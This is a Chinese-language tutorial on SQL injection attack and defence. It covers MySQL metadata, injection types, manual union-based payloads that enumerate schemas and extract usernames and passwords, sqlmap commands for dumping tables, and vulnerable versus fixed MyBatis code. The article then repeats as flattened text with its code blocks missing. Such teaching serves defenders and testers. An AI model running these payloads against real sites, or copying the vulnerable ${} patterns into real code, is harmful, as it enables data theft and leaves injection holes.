渗透攻防Web篇-深入浅出SQL注入
字数 1975 2025-08-12 11:34:18

深入浅出SQL注入攻防指南

1. SQL注入背景与原理

SQL注入是Web安全中最常见的高危漏洞之一,京东SRC(Security Response Center)收录的大量外部白帽子提交的漏洞中,SQL注入主要源于:

  • SQL语句直接拼接
  • Mybatis框架使用不当

2. SQL注入手工检测技术

2.1 前置知识:MySQL元数据库

MySQL 5.0+版本中的information_schema数据库包含关键元数据表:

  1. information_schema.columns:

    • table_schema: 数据库名
    • table_name: 表名
    • column_name: 列名
  2. information_schema.tables:

    • table_schema: 数据库名
    • table_name: 表名
  3. information_schema.schemata:

    • schema_name: 数据库名

2.2 常用SQL函数

函数 描述
length(str) 返回字符串长度
substr(str, pos, len) 从pos位置截取len长度字符(pos从1开始)
mid(str,pos,len) 同substr
ascii(str) 返回最左字符的ASCII值
ord(str) 将字符/布尔转ASCII码
if(a,b,c) 条件判断,a为真返回b,否则c

2.3 注入类型分类

2.3.1 按参数类型

  • 整型注入:如?id=1,注入点为整型
  • 字符型注入:如?id="1",需考虑闭合SQL语句中的引号

2.3.2 按注入方式

  • 盲注:
    • 布尔盲注:通过应用返回的布尔值推断
    • 时间盲注:使用sleepbenchmark等时间函数判断
  • 报错注入:利用应用显示的错误信息
  • 堆叠注入:使用;执行多条语句

2.4 手工检测步骤(字符型注入为例)

漏洞代码示例

Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
ResultSet rs = statement.executeQuery(sql);

修复方案

String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);

2.4.1 确定注入点

  1. 尝试单引号',观察是否导致错误或无回显

    • 正常SQL: select * from users where username = 'admin'
    • 注入后SQL: select * from users where username = 'admin''(报错)
  2. 推荐工具:浏览器扩展Hackbar

2.4.2 判断字段数

使用order by确定表中字段数:

admin' order by 1--+ 
admin' order by 2--+
...

order by n超过实际字段数时会报错

2.4.3 确定回显位置

使用联合查询定位回显字段:

admin' union select 1,2,3,4--+

观察哪些数字在页面中显示

2.4.4 利用information_schema获取数据

  1. 查看所有数据库:
admin' union select 1,group_concat(schema_name),3,4 from information_schema.schemata--+
  1. 查看当前数据库的表:
admin' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
  1. 查看表字段:
admin' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
  1. 读取数据:
admin' union select 1,group_concat(username,':',password),3,4 from users--+

3. 自动化检测工具sqlmap

3.1 常用命令

参数 描述
-u 可能存在注入的URL
-r 读取HTTP数据包文件
--data 指定POST数据
--cookie 指定Cookie
--headers 指定HTTP头
--threads 线程数
--dbms 指定后端数据库类型
--os 指定操作系统类型
--current-user 获取当前用户
--is-dba 检查是否为DBA
--sql-shell 获取交互式SQL shell
-p 指定测试参数
--dbs 枚举所有数据库
-D 指定数据库
--tables 枚举表
-T 指定表
--columns 枚举列
-C 指定列
--dump 导出数据

3.2 使用示例

  1. 基本检测:
sqlmap -u "http://example.com/page?id=1" --cookie="session=xxx" --batch --dbms=mysql
  1. 枚举数据库:
sqlmap -u "http://example.com/page?id=1" --dbs
  1. 枚举指定数据库的表:
sqlmap -u "http://example.com/page?id=1" -D java_sec_code --tables
  1. 导出表数据:
sqlmap -u "http://example.com/page?id=1" -D java_sec_code -T users --dump

4. Mybatis框架中的SQL注入

4.1 常见注入场景

  1. $错误使用
// 安全写法(预编译)
@Select("select * from users where username = #{username}")
User findByUserName(@Param("username") String username);

// 危险写法(直接拼接)
@Select("select * from users where username = '${username}'")
List<User> findByUserNameVuln01(@Param("username") String username);
  1. 模糊查询拼接
<!-- 错误写法 -->
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
    select * from users where username like '%${_parameter}%'
</select>

<!-- 正确写法 -->
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
    select * from users where username like concat('%',#{_parameter},'%')
</select>
  1. order by注入
<!-- 错误写法 -->
<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
    select * from users
    <if test="order != null">
        order by ${order} asc
    </if>
</select>

<!-- 正确写法(限制排序字段) -->
<select id="OrderByUsername" resultMap="User">
    select * from users order by id asc limit 1
</select>

5. 防御措施

  1. 使用预编译语句(PreparedStatement)
  2. Mybatis中优先使用#{}而非${}
  3. 输入验证:对用户输入进行严格过滤
  4. 最小权限原则:数据库用户只授予必要权限
  5. 错误处理:避免将详细错误信息返回给用户

6. 推荐资源

  1. sqlmap中文手册
  2. SQL注入详解

注意:所有测试应在授权环境下进行,未经授权的渗透测试可能触犯法律。

深入浅出SQL注入攻防指南 1. SQL注入背景与原理 SQL注入是Web安全中最常见的高危漏洞之一,京东SRC(Security Response Center)收录的大量外部白帽子提交的漏洞中,SQL注入主要源于: SQL语句直接拼接 Mybatis框架使用不当 2. SQL注入手工检测技术 2.1 前置知识:MySQL元数据库 MySQL 5.0+版本中的 information_schema 数据库包含关键元数据表: information_ schema.columns : table_schema : 数据库名 table_name : 表名 column_name : 列名 information_ schema.tables : table_schema : 数据库名 table_name : 表名 information_ schema.schemata : schema_name : 数据库名 2.2 常用SQL函数 | 函数 | 描述 | |------|------| | length(str) | 返回字符串长度 | | substr(str, pos, len) | 从pos位置截取len长度字符(pos从1开始) | | mid(str,pos,len) | 同substr | | ascii(str) | 返回最左字符的ASCII值 | | ord(str) | 将字符/布尔转ASCII码 | | if(a,b,c) | 条件判断,a为真返回b,否则c | 2.3 注入类型分类 2.3.1 按参数类型 整型注入 :如 ?id=1 ,注入点为整型 字符型注入 :如 ?id="1" ,需考虑闭合SQL语句中的引号 2.3.2 按注入方式 盲注 : 布尔盲注:通过应用返回的布尔值推断 时间盲注:使用 sleep 、 benchmark 等时间函数判断 报错注入 :利用应用显示的错误信息 堆叠注入 :使用 ; 执行多条语句 2.4 手工检测步骤(字符型注入为例) 漏洞代码示例 修复方案 2.4.1 确定注入点 尝试单引号 ' ,观察是否导致错误或无回显 正常SQL: select * from users where username = 'admin' 注入后SQL: select * from users where username = 'admin'' (报错) 推荐工具:浏览器扩展Hackbar 2.4.2 判断字段数 使用 order by 确定表中字段数: 当 order by n 超过实际字段数时会报错 2.4.3 确定回显位置 使用联合查询定位回显字段: 观察哪些数字在页面中显示 2.4.4 利用information_ schema获取数据 查看所有数据库: 查看当前数据库的表: 查看表字段: 读取数据: 3. 自动化检测工具sqlmap 3.1 常用命令 | 参数 | 描述 | |------|------| | -u | 可能存在注入的URL | | -r | 读取HTTP数据包文件 | | --data | 指定POST数据 | | --cookie | 指定Cookie | | --headers | 指定HTTP头 | | --threads | 线程数 | | --dbms | 指定后端数据库类型 | | --os | 指定操作系统类型 | | --current-user | 获取当前用户 | | --is-dba | 检查是否为DBA | | --sql-shell | 获取交互式SQL shell | | -p | 指定测试参数 | | --dbs | 枚举所有数据库 | | -D | 指定数据库 | | --tables | 枚举表 | | -T | 指定表 | | --columns | 枚举列 | | -C | 指定列 | | --dump | 导出数据 | 3.2 使用示例 基本检测: 枚举数据库: 枚举指定数据库的表: 导出表数据: 4. Mybatis框架中的SQL注入 4.1 常见注入场景 $错误使用 : 模糊查询拼接 : order by注入 : 5. 防御措施 使用预编译语句 (PreparedStatement) Mybatis中优先使用#{} 而非${} 输入验证 :对用户输入进行严格过滤 最小权限原则 :数据库用户只授予必要权限 错误处理 :避免将详细错误信息返回给用户 6. 推荐资源 sqlmap中文手册 SQL注入详解 注意:所有测试应在授权环境下进行,未经授权的渗透测试可能触犯法律。